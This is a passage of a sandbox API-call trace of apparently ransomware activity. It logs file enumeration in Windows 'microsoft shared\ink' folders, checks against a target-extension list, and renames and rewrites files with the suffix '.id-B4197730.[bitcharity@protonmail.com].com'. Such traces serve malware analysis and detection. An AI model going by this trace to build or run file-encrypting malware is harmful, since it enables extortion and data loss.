(lpString=".pdf") returned 4 [0294.541] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0294.541] lstrlenW (lpString=".xls") returned 4 [0294.541] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0294.541] lstrlenW (lpString=".xlsx") returned 5 [0294.541] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0294.541] lstrlenW (lpString=".ppt") returned 4 [0294.541] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0294.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0294.542] lstrlenW (lpString=".zip") returned 4 [0294.542] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0294.542] lstrlenW (lpString=".rar") returned 4 [0294.542] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0294.542] lstrlenW (lpString=".bz2") returned 4 [0294.542] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0294.542] lstrlenW (lpString=".7z") returned 3 [0294.542] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0294.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0294.542] lstrlenW (lpString=".dbf") returned 4 [0294.542] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0294.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0294.542] lstrlenW (lpString=".1cd") returned 4 [0294.542] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0294.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0294.542] lstrlenW (lpString=".jpg") returned 4 [0294.542] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0294.542] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0294.542] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0294.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0294.542] GetFileSizeEx (in: hFile=0x1094, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=10752) returned 1 [0294.542] CloseHandle (hObject=0x1094) returned 1 [0294.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0294.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.543] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0294.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0294.543] lstrlenW (lpString=".doc") returned 4 [0294.543] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0294.543] lstrlenW (lpString=".docx") returned 5 [0294.543] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0294.543] lstrlenW (lpString=".pdf") returned 4 [0294.543] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0294.543] lstrlenW (lpString=".xls") returned 4 [0294.543] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0294.543] lstrlenW (lpString=".xlsx") returned 5 [0294.543] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0294.543] lstrlenW (lpString=".ppt") returned 4 [0294.543] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0294.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0294.543] lstrlenW (lpString=".zip") returned 4 [0294.543] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0294.543] lstrlenW (lpString=".rar") returned 4 [0294.543] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0294.543] lstrlenW (lpString=".bz2") returned 4 [0294.543] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0294.543] lstrlenW (lpString=".7z") returned 3 [0294.543] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0294.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0294.543] lstrlenW (lpString=".dbf") returned 4 [0294.544] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0294.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0294.544] lstrlenW (lpString=".1cd") returned 4 [0294.544] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0294.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0294.544] lstrlenW (lpString=".jpg") returned 4 [0294.544] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0294.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0294.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0294.544] lstrlenW (lpString=".doc") returned 4 [0294.544] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0294.544] lstrlenW (lpString=".docx") returned 5 [0294.544] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0294.544] lstrlenW (lpString=".pdf") returned 4 [0294.544] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0294.544] lstrlenW (lpString=".xls") returned 4 [0294.544] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0294.544] lstrlenW (lpString=".xlsx") returned 5 [0294.544] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0294.544] lstrlenW (lpString=".ppt") returned 4 [0294.544] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0294.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0294.544] lstrlenW (lpString=".zip") returned 4 [0294.544] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0294.544] lstrlenW (lpString=".rar") returned 4 [0294.544] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0294.544] lstrlenW (lpString=".bz2") returned 4 [0294.544] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0294.544] lstrlenW (lpString=".7z") returned 3 [0294.544] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0294.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0294.545] lstrlenW (lpString=".dbf") returned 4 [0294.545] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0294.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0294.545] lstrlenW (lpString=".1cd") returned 4 [0294.545] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0294.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0294.545] lstrlenW (lpString=".jpg") returned 4 [0294.545] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0294.545] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0294.545] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0294.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0294.545] GetFileSizeEx (in: hFile=0x1094, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=10752) returned 1 [0294.545] CloseHandle (hObject=0x1094) returned 1 [0294.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0294.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0294.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0294.546] lstrlenW (lpString=".doc") returned 4 [0294.546] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0294.546] lstrlenW (lpString=".docx") returned 5 [0294.546] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0294.546] lstrlenW (lpString=".pdf") returned 4 [0294.546] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0294.546] lstrlenW (lpString=".xls") returned 4 [0294.546] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0294.546] lstrlenW (lpString=".xlsx") returned 5 [0294.546] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0294.546] lstrlenW (lpString=".ppt") returned 4 [0294.546] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0294.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0294.546] lstrlenW (lpString=".zip") returned 4 [0294.546] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0294.546] lstrlenW (lpString=".rar") returned 4 [0294.546] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0294.546] lstrlenW (lpString=".bz2") returned 4 [0294.546] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0294.546] lstrlenW (lpString=".7z") returned 3 [0294.546] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0294.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0294.546] lstrlenW (lpString=".dbf") returned 4 [0294.546] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0294.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0294.546] lstrlenW (lpString=".1cd") returned 4 [0294.546] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0294.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0294.546] lstrlenW (lpString=".jpg") returned 4 [0294.546] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0294.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0294.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0294.547] lstrlenW (lpString=".doc") returned 4 [0294.547] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0294.547] lstrlenW (lpString=".docx") returned 5 [0294.547] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0294.547] lstrlenW (lpString=".pdf") returned 4 [0294.547] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0294.547] lstrlenW (lpString=".xls") returned 4 [0294.547] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0294.547] lstrlenW (lpString=".xlsx") returned 5 [0294.547] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0294.547] lstrlenW (lpString=".ppt") returned 4 [0294.547] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0294.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0294.547] lstrlenW (lpString=".zip") returned 4 [0294.547] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0294.547] lstrlenW (lpString=".rar") returned 4 [0294.547] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0294.547] lstrlenW (lpString=".bz2") returned 4 [0294.547] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0294.547] lstrlenW (lpString=".7z") returned 3 [0294.547] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0294.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0294.547] lstrlenW (lpString=".dbf") returned 4 [0294.547] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0294.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0294.547] lstrlenW (lpString=".1cd") returned 4 [0294.547] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0294.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0294.547] lstrlenW (lpString=".jpg") returned 4 [0294.547] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0294.547] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0294.548] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0294.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0294.548] GetFileSizeEx (in: hFile=0x1094, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=9728) returned 1 [0294.548] CloseHandle (hObject=0x1094) returned 1 [0294.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui")) returned 0x20 [0294.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0294.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0294.548] lstrlenW (lpString=".doc") returned 4 [0294.548] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0294.548] lstrlenW (lpString=".docx") returned 5 [0294.548] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0294.548] lstrlenW (lpString=".pdf") returned 4 [0294.548] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0294.548] lstrlenW (lpString=".xls") returned 4 [0294.548] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0294.548] lstrlenW (lpString=".xlsx") returned 5 [0294.548] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0294.548] lstrlenW (lpString=".ppt") returned 4 [0294.548] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0294.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0294.549] lstrlenW (lpString=".zip") returned 4 [0294.549] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0294.549] lstrlenW (lpString=".rar") returned 4 [0294.549] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0294.549] lstrlenW (lpString=".bz2") returned 4 [0294.549] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0294.549] lstrlenW (lpString=".7z") returned 3 [0294.549] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0294.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0294.549] lstrlenW (lpString=".dbf") returned 4 [0294.549] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0294.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0294.549] lstrlenW (lpString=".1cd") returned 4 [0294.549] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0294.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0294.549] lstrlenW (lpString=".jpg") returned 4 [0294.549] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0294.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0294.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0294.549] lstrlenW (lpString=".doc") returned 4 [0294.549] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0294.549] lstrlenW (lpString=".docx") returned 5 [0294.549] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0294.549] lstrlenW (lpString=".pdf") returned 4 [0294.549] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0294.549] lstrlenW (lpString=".xls") returned 4 [0294.549] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0294.549] lstrlenW (lpString=".xlsx") returned 5 [0294.549] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0294.549] lstrlenW (lpString=".ppt") returned 4 [0294.549] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0294.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0294.549] lstrlenW (lpString=".zip") returned 4 [0294.549] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0294.549] lstrlenW (lpString=".rar") returned 4 [0294.549] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0294.549] lstrlenW (lpString=".bz2") returned 4 [0294.550] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0294.550] lstrlenW (lpString=".7z") returned 3 [0294.550] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0294.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0294.550] lstrlenW (lpString=".dbf") returned 4 [0294.550] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0294.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0294.550] lstrlenW (lpString=".1cd") returned 4 [0294.550] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0294.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0294.550] lstrlenW (lpString=".jpg") returned 4 [0294.550] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0294.550] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0294.550] lstrlenW (lpString="FlickLearningWizard.exe.mui") returned 27 [0294.550] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0294.551] GetFileSizeEx (in: hFile=0x1094, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=8704) returned 1 [0294.551] CloseHandle (hObject=0x1094) returned 1 [0294.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0294.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0294.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0294.551] lstrlenW (lpString=".doc") returned 4 [0294.551] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0294.551] lstrlenW (lpString=".docx") returned 5 [0294.551] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0294.551] lstrlenW (lpString=".pdf") returned 4 [0294.551] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0294.551] lstrlenW (lpString=".xls") returned 4 [0294.551] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0294.551] lstrlenW (lpString=".xlsx") returned 5 [0294.551] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0294.551] lstrlenW (lpString=".ppt") returned 4 [0294.551] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0294.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0294.552] lstrlenW (lpString=".zip") returned 4 [0294.552] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0294.552] lstrlenW (lpString=".rar") returned 4 [0294.552] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0294.552] lstrlenW (lpString=".bz2") returned 4 [0294.552] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0294.552] lstrlenW (lpString=".7z") returned 3 [0294.552] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0294.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0294.552] lstrlenW (lpString=".dbf") returned 4 [0294.552] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0294.663] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0294.664] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0294.665] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0294.667] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0294.670] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.670] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0294.670] GetLastError () returned 0x0 [0294.670] ReadFile (in: hFile=0x1088, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x58cd0, lpOverlapped=0x0) returned 1 [0294.731] WriteFile (in: hFile=0x1094, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x58ce0, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x58ce0, lpOverlapped=0x0) returned 1 [0294.737] ReadFile (in: hFile=0x1088, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.737] WriteFile (in: hFile=0x1094, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xe8, lpOverlapped=0x0) returned 1 [0294.737] SetEndOfFile (hFile=0x1094) returned 1 [0294.737] CloseHandle 